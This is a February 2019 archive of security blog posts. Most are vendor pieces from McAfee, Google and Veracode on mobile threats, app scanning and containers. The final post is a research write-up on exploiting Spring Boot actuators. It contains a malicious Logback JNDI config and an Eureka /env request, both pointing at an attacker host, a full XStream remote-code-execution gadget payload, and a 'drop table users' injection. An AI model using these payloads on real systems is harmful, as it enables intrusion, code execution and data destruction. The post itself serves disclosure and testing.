Monthly Archives: February 2019

What MWC 2019 Shows Us About the Future of Connectivity

The time has come to say goodbye to Barcelona as we wrap up our time here at Mobile World Congress (MWC). Although it’s hard to believe that the show is already over, MWC 2019 managed to deliver a slew of showstoppers that captured our attention. Here are some of my main takeaways from the event:

Foldable Phones Are the Future

 MWC is an opportunity for telecommunications companies, chipmakers, and smartphone firms to show off their latest and greatest innovations, and they sure delivered this year. One particular device that had the show floor buzzing was the Huawei Mate X, a 5G-enabled smartphone that folds out to become an 8-inch tablet. Additionally, Samsung revealed its plans to hold a press event in early April for its foldable smartphone, the Galaxy Fold. Unlike Huawei’s Mate X, the Galaxy Fold bends so that it encloses like a book. Although neither of these devices are available at to the public yet, they’ve definitely made a bold statement when it comes to smartphone design.

Smart Home Technology Goes Mobile

 Google is one company taking advantage of smartphone enhancements by putting its Google Assistant into the Android texting app. Assistant for Android Messages allows slices of Google search results to be laid out for users based on their text messages. For example, if one user texted another asking to grab some lunch, a bubble would pop up authorizing Assistant to share suggestions for nearby restaurant locations. While Assistant for Android currently only works for movies and restaurants, we can imagine how this technology could expand to other facets of consumer lives. This addition also demonstrates how AI is slowly but surely making its way onto almost every high-end phone through its apps and other tools.

Enhancing the Gaming Experience with 5G, VR, and AR

Not to be shown up, gaming developers also made a statement by using 5G technology to bring gamers into a more immersed gaming environment. Mobile game developer Niantic, creator of Pokémon Go and the upcoming Harry Potter: Wizards Uniteapp, is already working on games that will require a 5G upgrade. One such prototype the company showcased, codenamed Neon, allows multiple people in the same place to play an augmented reality (AR) game at the same time. Each players’ phone shows them the game’s graphics superimposed on the real world and allows the players to shoot each other, duck and dodge, and pick up virtual items, all in real-time.

Niantic wasn’t the only one looking to expand the gaming experience with the help of 5G. At the Intel and Nokia booths, Sony set up an Oculus Rift VR game inspired by Marvel and Sony’s upcoming film Spider-Man: Far From Home. Thanks to the low latency and real-time responsiveness of 5G, one player in the Nokia booth was able to race the other player in the Intel booth as if they were swinging through spiderwebs in Manhattan. Players were able to experience how the next-generation of wireless technology will allow them to participate in a highly immersive gaming experience.

Bringing 4G and 5G to the Automotive Industry

Gaming isn’t the only industry that’s getting a facelift from 5G. At the show, Qualcomm announced two new additions to their automotive platform: the Qualcomm Snapdragon Automotive 4G and 5G Platforms. One of the main features of these platforms is vehicle-to-everything communication, or C-V2X, which allows a car to communicate with other vehicles on the road, roadside infrastructure, and more. In addition, the platforms offer a high-precision, multi-frequency global navigation satellite system, which will help enable self-driving implementations. The platforms also include features like multi-gigabit cloud connectivity, high bandwidth low latency teleoperations support, and precise positioning for lane-level navigation accuracy. These advancements in connectivity will potentially help future vehicles to improve safety, communications, and overall in-car experience for consumers.

Securing Consumers On-the-Go

The advancements in mobile connectivity have already made a huge impact on consumer lifestyles, especially given the widespread adoption of IoT devices and smart gadgets. But the rise in popularity of these devices has also caught the interest of malicious actors looking to access users’ networks. According to our latest Mobile Threat Report, cybercriminals look to trusted devices to gain access to other devices on the user’s home network. For example, McAfee researchers recently discovered a vulnerability within a Mr. Coffee brand coffee maker that could allow a malicious actor to access the user’s home network. In addition, they also uncovered a new vulnerability within BoxLock smart padlocks that could enable cybercriminals to unlock the devices within a matter of seconds.

And while consumers must take necessary security steps to combat vulnerabilities such as these, we at McAfee are also doing our part of help users everywhere remain secure. For instance, we’ve recently extended our partnerships with both Samsung and Türk Telekom in order to overcome some of these cybersecurity challenges. Together, we’re working to secure consumers from cyberthreats on Samsung Galaxy S10 smartphones and provide McAfee Safe Family protection for Türk Telekom’s fixed and mobile broadband customers.

While the likes of 5G, bendable smartphones, and VR took this year’s tradeshow by storm, it’s important for consumers to keep the cybersecurity implications of these advancements in mind. As the sun sets on our time here in Barcelona, we will keep working to safeguard every aspect of the consumer lifestyle so they can embrace improvements in mobile connectivity with confidence.

To stay on top of McAfee’s MWC news and the latest consumer and mobile security threats, be sure to follow @McAfee_Home on Twitter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.

The post What MWC 2019 Shows Us About the Future of Connectivity appeared first on McAfee Blogs.

Android Security Improvement update: Helping developers harden their apps, one thwarted vulnerability at a time

Posted by Patrick Mutchler and Meghan Kelly, Android Security & Privacy Team


[Cross-posted from the Android Developers Blog]

Helping Android app developers build secure apps, free of known vulnerabilities, means helping the overall ecosystem thrive. This is why we launched the Application Security Improvement Program five years ago, and why we're still so invested in its success today.

What the Android Security Improvement Program does

When an app is submitted to the Google Play store, we scan it to determine if a variety of vulnerabilities are present. If we find something concerning, we flag it to the developer and then help them to remedy the situation.

Think of it like a routine physical. If there are no problems, the app runs through our normal tests and continues on the process to being published in the Play Store. If there is a problem, however, we provide a diagnosis and next steps to get back to healthy form.

Over its lifetime, the program has helped more than 300,000 developers to fix more than 1,000,000 apps on Google Play. In 2018 alone, the program helped over 30,000 developers fix over 75,000 apps. The downstream effect means that those 75,000 vulnerable apps are not distributed to users with the same security issues present, which we consider a win.

What vulnerabilities are covered

The App Security Improvement program covers a broad range of security issues in Android apps. These can be as specific as security issues in certain versions of popular libraries (ex: CVE-2015-5256) and as broad as unsafe TLS/SSL certificate validation.

We are continuously improving this program's capabilities by improving the existing checks and launching checks for more classes of security vulnerability. In 2018, we deployed warnings for six additional security vulnerability classes including:

  1. SQL Injection
  2. File-based Cross-Site Scripting
  3. Cross-App Scripting
  4. Leaked Third-Party Credentials
  5. Scheme Hijacking
  6. JavaScript Interface Injection

Ensuring that we're continuing to evolve the program as new exploits emerge is a top priority for us. We are continuing to work on this throughout 2019.

Keeping Android users safe is important to Google. We know that app security is often tricky and that developers can make mistakes. We hope to see this program grow in the years to come, helping developers worldwide build apps users can truly trust.

How To Set Your Facebook Settings To Keep Your Profile Secure And Private

Facebook is the primary social network platform right now and you need make sure your account is secured properly and your profile is not wide open to the public. This post is a refresher for you to go in and review your settings. On the left side you will see the menu items, the details […]

The post How To Set Your Facebook Settings To Keep Your Profile Secure And Private appeared first on Security In Five.

Mobile Threat Report Commentary: Mobile Malware is Not Going Away

Employees use their mobile devices to be proactive and stay connected in both their personal and work lives. The movement to the cloud has allowed employees to check email, download documents, and share information that may contain sensitive information, even when they’re not on an enterprise network. Businesses must protect their enterprise environments and combat threats that target their employees as average consumers.

McAfee research shows that every mobile-enabled device is subject to some type of malicious exploit. In 2018, McAfee researchers discovered mobile malware named TimpDoor, which turned Android devices into hidden proxies. But in 2019, businesses should be prepared for malware that goes beyond mobile devices too.

Detections of backdoors, cryptomining, fake apps, and banking Trojans all increased substantially in the second half of 2018 and attacks on other connected household devices gained momentum as well. While hidden apps like Adware remain by far the most common form of mobile malware, others are growing and learning how to infect other devices.

Mobile devices are becoming a hub for ransomware and malware developers. One common thread through much of the mobile attack landscape is the quest for illicit profits. Criminals are looking for ways to maximize their income and shift tactics in response to changes in the market.

“75% rise in banking Trojans, enabling cybercriminals to steal financial credentials from mobile devices”

“550% increase in mobile malware realized by the end of 2018”

Weak to non-existent security controls from manufacturers and a lack of simple evasion techniques, such as changing the default username and password, make connected devices in the home and workplace targets for cybercriminals.

Although mobile devices have become key enablers for business productivity and connectivity, they’re still the greatest risk to enterprises today. This changes how enterprises need to secure the mobile devices that connect to their environment. Enterprises must invest in endpoint security solutions to protect themselves from the evolving threat landscape. Mobile is one of the fastest growing endpoints and needs to be protected just as much as laptops and desktop computers.

McAfee has addressed the growing need by introducing the MVISION portfolio family, which provides IT administrators with comprehension and control through one single management console. McAfee MVISION Mobile provides on-device detection, local (end user) threat remediation, visual mapping of nearby dangerous networks, customizable on-device user notifications, and advanced threat detection. This provides the enterprise-class threat defense that businesses today need to be secure.

Read the McAfee Mobile Threat Report to learn more about protecting your employees’ mobile devices from malware and other cyberthreats.

The post Mobile Threat Report Commentary: Mobile Malware is Not Going Away appeared first on McAfee Blogs.

The Most Common Phishing Attacks – An Inforgraphic

This infographic covers the most common phishing attacks. This graphic does a good job on covering all the vectors a phishing attempt could occur from email, text messages, phones calls to USB drives. Phishing is one of the most prevelant cyberattacks and one of the most successful for hackers to pull off. It’s important to […]

The post The Most Common Phishing Attacks – An Inforgraphic appeared first on Security In Five.

How Veracode Scans Docker Containers for Open Source Vulnerabilities

Veracode Container Security Scanning

Veracode Software Composition Analysis now also scans Docker containers and images to find vulnerabilities associated with open source libraries as dependencies of the base OS image and globally installed packages. If you’re interested in understanding how containers work, the different components that make up your container ecosystem, and how that differs from virtualization, we recommend this great overview by Docker.

Do containers introduce new risks?

Containers can introduce new risks to your application due to the installation of a base OS image that you may not have used without the container, but they can also give you greater access and knowledge earlier in the development process. The image itself will often depend on numerous open source libraries that can introduce new vulnerabilities to your application. In addition, containers allow you to install packages at the global level, which previously may not have been accessible to vulnerability scans. It’s also not uncommon for developers to build applications in different environments than what is in production, meaning any vulnerability scans in development may not mirror what is in production. By containerizing applications, developers are able to build in the same environment as the final production platform, allowing them to conduct vulnerability scans on a production-ready image.

Simply using containers isn’t the security risk – it’s not knowing which open source libraries are installed and the vulnerabilities they may present.

How does Veracode secure containers?

Securing your container infrastructure is a huge undertaking that isn’t always clearly defined. Every layer of the container infrastructure can introduce risks, including the hardware, host OS, kernel, Docker engine, registry, base OS image, globally installed packages, and the application. Look to your existing set of vendors and solutions to address each one of them in the same way that you’re addressing OS vulnerabilities on the rest of the network.

As an application security company, Veracode is focused on the application, the base OS image, and the globally installed packages.

Securing containers from open source vulnerabilities isn’t all that different from looking at vulnerabilities in open source libraries in your code. You need to be able to scan your container the moment it’s introduced, with all of its globally installed packages. This enables your development team to decide whether they want to proceed forward with the vulnerabilities present, introduce ways to mitigate the issues, update to a more secure version of the libraries being used, or explore alternative base images and libraries that are more secure.

Divide and conquer: vulnerabilities in application code vs. base OS image

To limit complexity, and to avoid waiting for all applications to be “Dockerized,” Veracode recommends that you divide and conquer the security of the application itself and the security of the container and its dependencies:

  1. Scan your code before you package it up in a container – fix all of the third-party vulnerabilities, and the flaws found in your first-party code.
  2. Once your application/code is in a state that is acceptable for production, containerize the application in your pipeline, and then run an open source security scan against the container itself.

Veracode Software Composition Analysis finds vulnerabilities in the base OS image and runtime dependencies

Veracode Software Composition Analysis now looks for vulnerabilities associated with open source libraries as dependencies of the base OS image (CentOS/RHEL) and any packages globally installed with the YUM package manager in a Docker container.

Containers are scanned automatically via an agent in the developer’s CI system, or manually in a developer’s CLI. You can scan your application prior to the containerization and the container itself separately. This provides a clear inventory of all of the dependencies and associated vulnerabilities before pushing it to production.

Finally, Veracode Software Composition Analysis keeps a history of what’s in the container and alerts you to new vulnerabilities, removing the requirement of rescanning the container unless you change its dependencies.

To learn more about open source libraries, and direct vs. indirect dependencies, read the Understanding Your Open Source Risk ebook.

The 80’s called….they want their on-premises solution back!

Are you still breakdancing? Storing data on your floppy disk? Performing your searches through the card catalog? Assuming the answer is no, then why are you still using an on-premises application security solution?

In all seriousness, take a look at the benefits, and cost savings, you would see with a cloud-based AppSec solution:

Start scanning immediately: No need to install servers and tools, no need to hire consultants or security specialists to get up and running. On-premises solutions require significant upfront implementation and equipment costs. In addition, on-premises solutions typically require specialized experts to install and run. The security experts who can install, configure, and maintain these tools, as well as respond to the information they return, are expensive and in short supply.

Easily accommodate large and distributed teams: In today’s environment, teams are rarely in one location. With cloud solutions, disparate teams can work seamlessly together.

Cumbersome to scale: When an on-premises application security program needs to be scaled, enterprises frequently need to track down more of these hard-to-find security specialists, in addition to installing more servers.

Continuously learning and improving: Unlike an on-premises AppSec solution, a cloud-based solution is continuously gathering more information, learning, and improving. With this feature, it’s less likely that developers will get bogged down with false positives because the platform is continuously learning to adapt to evolving threats.

Mobile access: Mobile access is available with a cloud solution, but not always with an on-premises solution.

As progressive organizations seek the best possible solution for addressing the challenge of application security, they’re looking for speed, scale, and simplicity. These are the exact limitations of on-premises software. So why are some companies still holding on to a thing of the past?

In conclusion, let’s keep the 80’s where they belong, back in the 80’s (except for some of the music, some of the music is worth keeping).

Need more convincing?  Check out some of the related content below.

Related Content:

The Ultimate Guide to Getting Started With Application Security

Infosheet: Spotting Hidden Costs: Veracode vs. On-Premises Tools

Guide: Cloud vs. On-Premises Guide

McAfee Partners With Telefónica To Help Secure Consumers Worldwide

These days, cyberattacks can feel relentless. Due to the interconnected nature of the world we live in, cybercriminals have managed to infiltrate our personal devices, our networks, and even our homes. That’s why we at McAfee believe it’s important now more than ever to secure every facet of the modern consumer lifestyle. And we’ve partnered with Telefónica to do just that.

This partnership first began back in February of last year, when ElevenPaths, Telefónica Cyber Security Unit, and McAfee announced we’re working together to reinforce the online security of Telefónica’s broadband and mobile customers across multiple markets. This partnership covers Europe and Latin America with plans to progressively roll out solutions in the different countries where Telefónica operates. It’s the first time a telecommunications company has delivered a security service to all of its customers, regardless of where they connect from. Fast forward to present day, and this partnership has only expanded. The global product developed by Telefónica and powered by McAfee was first launched in Spain as Movistar Conexión Segura, a service that protects home and mobile customers’ connectivity. Telefónica protects Fusión customers’ home connections with a smart router, thanks to the ElevenPaths solution powered by McAfee Secure Home Platform, which enables seamless security and easy activation. Conexión Segura is also available for Movistar mobile customers, including network protection and one license of Seguridad Dispositivo, a multi-device security protection. Only a few weeks after Spain, Movistar Argentina launched the solution for its fixed and mobile customers. These services help realize Telefónica’s “Security by Default” strategy, offering customers a more robust security solution that protects against threats like viruses, malware, phishing, and emerging IoT threats.

Telefónica and McAfee’s 360 partnership is dedicated to protecting the productivity of consumers everywhere. “This agreement gives customers current and contextual information on their cybersecurity status so they can stay connected with confidence,” said Pedro Pablo Pérez, Global Security VP of Telefónica and CEO of ElevenPaths, Telefónica Cybersecurity Unit.

ElevenPaths and Mcafee’s joint vision to create a more secure tomorrow brings us a step closer to stopping widespread cyberattacks. By joining forces to implement more robust security solutions around the world, we can ensure that our connectivity goes undisrupted. Because together is power.

To learn more about consumer security and our approach to it, be sure to follow us at @ElevenPaths and @McAfee.

The post McAfee Partners With Telefónica To Help Secure Consumers Worldwide appeared first on McAfee Blogs.

In 2019 the Threat is “Everywhere Malware”, Not just Mobile Malware

This time last year, we said that 2018 would be the year of mobile malware.

Today at MWC, we’re calling 2019 the year of everywhere malware.

In their quest for profit, criminals are constantly forced to shift their tactics and adapt to a changing mobile market. Take crypto-mining, for example. A year ago this was a relatively hassle-free way of making money. But the bottom dropped out of the crypto-currency market over the course of 2018. Now it’s not as lucrative, so we witness more aggressive forms of ransomware that make payment more likely.

Our latest Mobile Threat Report has revealed a huge increase in backdoors, fake apps and banking Trojans. Hidden apps are being exploited as quickly as app stores can take them down and adversaries are adapting and developing new threats. The number of attacks on other connected things is growing too – your voice assistant might even be letting criminals into your home. And smartphones, of course, remain a prime target.

In particular, the use of banking Trojans to steal financial credentials has exploded. Their popularity is growing so fast that we saw the number of incidents double between June and September last year. They then spiked by a further 75 percent in December. Android users in particular are being targeted, as malware authors find new ways of bypassing Google’s security. Unfortunately for consumers, these Trojans represent a solid source of income for cybercriminals so, for the foreseeable future at least, we can expect them to continue to evolve and become more sophisticated.

A worrying new trend sees attacks extending beyond mobile apps and operating systems and into our homes. Smart home tech is becoming integral to our domestic lifestyle – there are already over 25 million voice assistants such as Google Home and Alexa in our homes, and this is expected to grow to as many as 275 million within the next five years. Add to this a growing number of connected thermostats, locks and doorbells, and this represents a huge – and hugely attractive – attack vector for cybercriminals. The quirks and vulnerabilities of these devices, coupled with weak to non-existent security controls could provide unfettered access to the rest of your home network.

At the heart of all of this, of course, lies the smartphone. The control hub and gateway to the voice assistants and smart devices we engage with on a day-to-day basis, these devices track where we are, what we’re doing, and often hold important personal information. Access to our smartphones is clearly worth its weight in gold to criminals. After all, from here they steal our bank details and even make their way into our homes. And with new malware families especially designed to trick smartphone users into giving them access, that’s just what they’re trying to do.

The mobile ecosystem is continually changing. Operators and developers can get wise to tactics used by criminals but criminals will never give up in their pursuit for profit. If one door closes on them, they’ll just open another one. They’ll change their tactics and broaden their efforts to target more aspects of our increasingly ubiquitous mobile use.

That’s why the entire tech industry, from the manufacturers of smart device manufacturers and mobile devices to developers and app store owners, must work more closely. Only then will we be able to tackle this insidious threat and protect consumers at every point of their increasingly digital life.

To find out more, see our latest Mobile Threat Report here.

The post In 2019 the Threat is “Everywhere Malware”, Not just Mobile Malware appeared first on McAfee Blogs.

Google Play Protect in 2018: New updates to keep Android users secure


Posted by Rahul Mishra and Tom Watkins, Android Security & Privacy Team
[Cross-posted from the Android Developers Blog]

In 2018, Google Play Protect made Android devices running Google Play some of the most secure smartphones available, scanning over 50 billion apps everyday for harmful behaviour.
Android devices can genuinely improve people's lives through our accessibility features, Google Assistant, digital wellbeing, Family Link, and more — but we can only do this if they are safe and secure enough to earn users' long term trust. This is Google Play Protect's charter and we're encouraged by this past year's advancements.

Google Play Protect, a refresher

Google Play Protect is the technology we use to ensure that any device shipping with the Google Play Store is secured against potentially harmful applications (PHA). It is made up of a giant backend scanning engine to aid our analysts in sourcing and vetting applications made available on the Play Store, and built-in protection that scans apps on users' devices, immobilizing PHA and warning users.
This technology protects over 2 billion devices in the Android ecosystem every day.

What's new

On by default
We strongly believe that security should be a built-in feature of every device, not something a user needs to find and enable. When security features function at their best, most users do not need to be aware of them. To this end, we are pleased to announce that Google Play Protect is now enabled by default to secure all new devices, right out of the box. The user is notified that Google Play Protect is running, and has the option to turn it off whenever desired.

New and rare apps
Android is deployed in many diverse ways across many different users. We know that the ecosystem would not be as powerful and vibrant as it is today without an equally diverse array of apps to choose from. But installing new apps, especially from unknown sources, can carry risk.
Last year we launched a new feature that notifies users when they are installing new or rare apps that are rarely installed in the ecosystem. In these scenarios, the feature shows a warning, giving users pause to consider whether they want to trust this app, and advising them to take additional care and check the source of installation. Once Google has fully analyzed the app and determined that it is not harmful, the notification will no longer display. In 2018, this warning showed around 100,000 times per day
Context is everything: warning users on launch
It's easy to misunderstand alerts when presented out of context. We're trained to click through notifications without reading them and get back to what we were doing as quickly as possible. We know that providing timely and context-sensitive alerts to users is critical for them to be of value. We recently enabled a security feature first introduced in Android Oreo which warns users when they are about to launch a potentially harmful app on their device.

This new warning dialog provides in-context information about which app the user is about to launch, why we think it may be harmful and what might happen if they open the app. We also provide clear guidance on what to do next. These in-context dialogs ensure users are protected even if they accidentally missed an alert.
Auto-disabling apps
Google Play Protect has long been able to disable the most harmful categories of apps on users devices automatically, providing robust protection where we believe harm will be done.
In 2018, we extended this coverage to apps installed from Play that were later found to have violated Google Play's policies, e.g. on privacy, deceptive behavior or content. These apps have been suspended and removed from the Google Play Store.
This does not remove the app from user device, but it does notify the user and prevents them from opening the app accidentally. The notification gives the option to remove the app entirely.
Keeping the Android ecosystem secure is no easy task, but we firmly believe that Google Play Protect is an important security layer that's used to protect users devices and their data while maintaining the freedom, diversity and openness that makes Android, well, Android.
Acknowledgements: This post leveraged contributions from Meghan Kelly and William Luh.

Open Backdoors and Voice Assistant Attacks: Key Takeaways from the 2019 Mobile Threat Report

These days, we seem to have a newfound reliance on all things ‘smart.’ We give these devices the keys to our digital lives, entrusting them with tons of personal information. In fact, we are so eager to adopt this technology that we connect 4,800 devices per minute to the internet with no sign of slowing down.  This is largely because smart devices make our lives easier and enjoyable. But even though these devices are convenient, it’s important to understand they’re also convenient for cybercriminals, given they contain a treasure trove of personal data. To examine how exactly these hackers plan on capturing that data, we at McAfee have taken a deep dive into the mobile threat landscape in this year’s Mobile Threat Report. In this report, we examine some of the most significant threat trends, including new spyware, mobile malware, and IoT attack surfaces. Let’s take a look at these trends and how you can keep all your devices protected.

Operations RedDawn and FoulGoal

In our 2018 report, we predicted that attacks targeted toward mobile devices would increase, and everything from fake Fortnite apps to increased mobile malware has proven this to be true. However, two recent discoveries, Operation RedDawn and FoulGoal, prove just how targeted these attacks can really get. RedDawn, in particular, has set its sights on North Korean refugees, as the spyware attempts to copy photos, contacts, SMS messages, and other personal data belonging to the victim.

The latter attack, FoulGoal, actually occurred during last year’s World Cup, as the campaign used an app called Golden Cup to install spyware on victims’ devices. This app promised users live streams of games from the Russian 2018 FIFA World Cup, as well as a searchable database of previous World Cup records. In addition to stealing the user’s phone number, device details, and installed packages, FoulGoal also downloaded spyware to expand its infection into SMS messages, contacts, GPS details, and audio recordings.

A Virtual Backdoor

Our smartphones are now like remote controls for our smart homes, controlling everything from lights to locks to kitchen appliances. So, it was only a matter of time before cybercriminals looked for ways to trick users into leaving open a virtual backdoor. Enter TimpDoor, an Android-based malware family that does just that. First appearing in March 2018, it quickly became the leading mobile backdoor family, as it runs a SMiShing campaign that tricks users into downloading fake voice-messaging apps.

These virtual backdoors are now an ever-growing threat as hackers begin to take advantage of the always-connected nature of mobile phones and other connected devices. Once distributed as Trojanized apps through apps stores, like Google Play, these backdoors can come disguised as add-on games or customization tools. And while most are removed fairly quickly from app stores, hackers can still pivot their distribution efforts and leverage popular websites to conceive a socially engineered attack to trick users into enabling unknown sources.

The Voice Heard Around the Home

Around the world, there are already over 25 million voice assistants, or smart speakers, in use. From simple queries to controlling other IoT gadgets throughout the home, these devices play a big role in our living environments. But many of these IoT devices fail to pass even the most basic security practices, and have easily guessable passwords, notable buffer overflow issues, and unpatched vulnerabilities. This makes voice assistants an increasingly valuable and potentially profitable attack vector for cybercrime.

For a typical voice assistant in the home, the attack surface is quite broad. Cybercriminals could gain access to the microphone or listening stream, and then monitor everything said. Additionally, they could command the speakers to perform actions via other speaker devices, such as embedding commands in a TV program or internet video. Crooks could even alter customized actions to somehow aid their malicious schemes. However, some of the most pressing vulnerabilities can come from associated IoT devices, such as smart plugs, door locks, cameras, or connected appliances, which can have their own flaws and could provide unrestrained access to the rest of the home network.

The good news? We at McAfee are working tirelessly to evolve our home and mobile solutions to keep you protected from any current and future threats. Plus, there are quite a few steps you can personally take to secure your devices. Start by following these tips:

  • Delete apps at the first sign of suspicious activity. If an app requests access to anything outside of its service, or didn’t originate from a trusted source, remove it immediately from your device.
  • Protect your devices by protecting your home network. While we continue to embrace the idea of “smart homes” and connected devices, we also need to embrace the idea that with great connectivity, comes great responsibility to secure those connections. Consider built-in network security, which can automatically secure your connected devices at the router-level.
  • Keep your security software up-to-date. Whether it’s an antivirus solution or a comprehensive security suite, always keep your security solutions up-to-date. Software and firmware patches are ever-evolving and are made to combat newly discovered threats, so be sure to update every time you’re prompted to. Better yet, flip on automatic updates.
  • Change your device’s factory security settings. When it comes to products, many manufacturers don’t think “security first.” That means your device can be potentially vulnerable as soon as you open the box. By changing the factory settings you’re instantly upping your smart device’s security.

Interested in learning more about IoT and mobile security trends and information? Follow @McAfee_Home on Twitter, and ‘Like” us on Facebook.

The post Open Backdoors and Voice Assistant Attacks: Key Takeaways from the 2019 Mobile Threat Report appeared first on McAfee Blogs.

DorkMe – Google Dorks Tool Search For Vulnrabilities

DorkMe – Google Dorks Tool Google Dorks Tool DorkMe is a tool designed with the purpose of making easier the searching of vulnerabilities with Google Dorks, such as SQL Injection vulnerabilities. Dependencies   pip install -r requirements.txt It is highly recommended to add more dorks for an effective search, keep reading to see how Usage […]

The post DorkMe – Google Dorks Tool Search For Vulnrabilities appeared first on HackingVision.

Exploiting Spring Boot Actuators

This post was updated May 1, 2019

The Spring Boot Framework includes a number of features called actuators to help you monitor and manage your web application when you push it to production. Intended to be used for auditing, health, and metrics gathering, they can also open a hidden door to your server when misconfigured.

When a Spring Boot application is running, it automatically registers several endpoints (such as '/health', '/trace', '/beans', '/env' etc) into the routing process. For Spring Boot 1 - 1.4, they are accessible without authentication, causing significant problems with security. Starting with Spring version 1.5, all endpoints apart from '/health' and '/info' are considered sensitive and secured by default, but this security is often disabled by the application developers.

The following Actuator endpoints could potentially have security implications leading to possible vulnerabilities:

  • /dump - displays a dump of threads (including a stack trace)
  • /trace - displays the last several HTTP messages (which could include session identifiers)
  • /logfile - outputs the contents of the log file
  • /shutdown - shuts the application down
  • /mappings - shows all of the MVC controller mappings
  • /env - provides access to the configuration environment
  • /restart - restarts the application

For Spring 1x, they are registered under the root URL, and in 2x they moved to the "/actuator/" base path.

Exploitation:

Most of the actuators support only GET requests and simply reveal sensitive configuration data, but several of them are particularly interesting for shell hunters:

1. Remote Code Execution via '/jolokia'

If the Jolokia Library is in the target application classpath, it is automatically exposed by Spring Boot under the '/jolokia' actuator endpoint. Jolokia allows HTTP access to all registered MBeans and is designed to perform the same operations you can perform with JMX. It is possible to list all available MBeans actions using the URL:

http://127.0.0.1:8090/jolokia/list

Again, most of the MBeans actions just reveal some system data, but one is particularly interesting:

The 'reloadByURL' action, provided by the Logback library, allows us to reload the logging config from an external URL. It could be triggered just by navigating to:

So, why should we care about logging config? Mainly because of two things:

  1. Config has an XML format, and of course, Logback parses it with External Entities enabled, hence it is vulnerable to blind XXE.
  2. The Logback config has the feature 'Obtaining variables from JNDI'. In the XML file, we can include a tag like '<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />' and the name attribute will be passed to the DirContext.lookup() method. If we can supply an arbitrary name into the .lookup() function, we don't even need XXE or HeapDump because it gives us a full Remote Code Execution.

How it works:

1. An attacker requests the aforementioned URL to execute the 'reloadByURL' function, provided by the 'qos.logback.classic.jmx.JMXConfigurator' class.

2. The 'reloadByURL' function downloads a new config from http://artsploit.com/logback.xml and parses it as a Logback config. This malicious config should have the following content:

<configuration>
  <insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>

3. When this file is parsed on the vulnerable server, it creates a connection to the attacker-controlled LDAP server specified in the “env-entry-name” parameter value, which leads to JNDI resolution. The malicious LDAP server may return an object with 'Reference' type to trigger an execution of the supplied bytecode on the target application. JNDI attacks are well explained in this MicroFocus research paper. The new JNDI exploitation technique (described previously in our blog) also works here, as Tomcat is the default application server in the Spring Boot Framework.

2. Config modification via '/env'

If Spring Cloud Libraries are in the classpath, the '/env' endpoint allows you to modify the Spring environmental properties. All beans annotated as '@ConfigurationProperties' may be modified and rebinded. Many, but not all, properties we can control are listed on the '/configprops' actuator endpoint. Actually, there are tons of them, but it is absolutely not clear what we need to modify to achieve something. After spending a couple of days playing with them we found this:

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
 
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream

This property modifies the Eureka serviceURL to an arbitrary value. Eureka Server is normally used as a discovery server, and almost all Spring Cloud applications register at it and send status updates to it. If you are lucky to have Eureka-Client <1.8.7 in the target classpath (it is normally included in Spring Cloud Netflix), you can exploit the XStream deserialization vulnerability in it. All you need to do is to set the 'eureka.client.serviceUrl.defaultZone' property to your server URL ( http://artsploit.com/n/xstream) via '/env' and then call '/refresh' endpoint. After that, your server should serve the XStream payload with the following content:

<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

This XStream payload is a slightly modified version of the ImageIO JDK-only gadget chain from the Marshalsec research. The only difference here is using LinkedHashSet to trigger the 'jdk.nashorn.internal.objects.NativeString.hashCode()' method. The original payload leverages java.lang.Map to achieve the same behaviour, but Eureka's XStream configuration has a custom converter for maps which makes it unusable. The payload above does not use Maps at all and can be used to achieve Remote Code Execution without additional constraints.

Using Spring Actuators, you can actually exploit this vulnerability even if you don't have access to an internal Eureka server; you only need an "/env" endpoint available.

Other useful settings:

spring.datasource.tomcat.validationQuery=drop+table+users - allows you to specify any SQL query, and it will be automatically executed against the current database. It could be any statement, including insert, update, or delete.

spring.datasource.tomcat.url=jdbc:hsqldb:https://localhost:3002/xdb - allows you to modify the current JDBC connection string.

The last one looks great, but the problem is when the application running the database connection is already established, just updating the JDBC string does not have any effect. Hopefully, there is another property that may help us in this case:

spring.datasource.tomcat.max-active=777

The trick we can use here is to increase the number of simultaneous connections to the database. So, we can change the JDBC connection string, increase the number of connections, and after that send many requests to the application to simulate heavy load. Under the load, the application will create a new database connection with the updated malicious JDBC string. I tested this technique locally agains Mysql and it works like a charm.

Apart from that, there are other properties that look interesting, but, in practice, are not really useful:

spring.datasource.url - database connection string (used only for the first connection)

spring.datasource.jndiName - databases JNDI string (used only for the first connection)

spring.datasource.tomcat.dataSourceJNDI - databases JNDI string (not used at all)

spring.cloud.config.uri=http://artsploit.com/ - spring cloud config url (does not have any effect after app start, only the initial values are used.)

These properties do not have any effect unless the '/restart' endpoint is called. This endpoint restarts all ApplicationContext but its disabled by default.

There are a lot of other interesting properties, but most of them do not take immediate effect after change.

N.B. In Spring Boot 2x, the request format for modifying properties via the '/env' endpoint is slightly different (it uses json format instead), but the idea is the same.

An example of the vulnerable app:

If you want to test this vulnerability locally, I created a simple Spring Boot application on my Github page. All payloads should work there, except for database settings (unless you configure it).

Black box discovery:

A full list of default actuators may be found here: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt. Keep in mind that application developers can create their own endpoints using @Endpoint annotation.

Update May 2019:

